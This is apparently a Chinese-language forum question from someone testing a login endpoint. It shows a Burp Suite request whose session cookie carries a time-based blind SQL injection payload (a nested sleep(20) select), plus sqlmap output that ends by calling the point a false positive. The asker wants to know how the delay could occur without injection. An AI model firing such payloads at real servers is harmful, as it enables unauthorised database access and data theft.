通过Burp Suite的中继器中的以下请求，我注意到我能够在目标服务器上执行SLEEP查询。

POST /login HTTP/1.1
Host: example.com
Origin: https://example.com
Cookie: _sessionToken=filzxrpoiahflw_1618561576'%2b(select*from(select(sleep(20)))a)%2b'
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Content-Length: 39

username=admins0&password=m02pih57d

然而，当我使用sqlmap测试终结点时，它告诉我这是一个假阳性。

[xx:xx:42] [INFO] Cookie parameter '_sessionToken' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided risk (2) value? [Y/n] Y
[xx:xx:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[xx:xx:56] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[xx:xx:01] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[xx:xx:06] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[xx:xx:09] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[xx:xx:13] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[xx:xx:19] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
[xx:xx:23] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[xx:xx:27] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
[xx:xx:31] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'
[xx:xx:35] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'
[xx:xx:39] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:43] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[xx:xx:48] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[xx:xx:52] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[xx:xx:12] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[xx:xx:16] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[xx:xx:19] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[xx:xx:23] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[xx:xx:27] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[xx:xx:31] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
[xx:xx:35] [INFO] checking if the injection point on Cookie parameter '_sessionToken' is a false positive
[xx:xx:40] [WARNING] false positive or unexploitable injection point detected
[xx:xx:40] [WARNING] Cookie parameter '_sessionToken' does not seem to be injectable

我想知道攻击者是否有可能在不注入端点的情况下执行SLEEP查询(并且扩展到不能转储数据)？如果是，则如何(服务器代码将是什么样子)？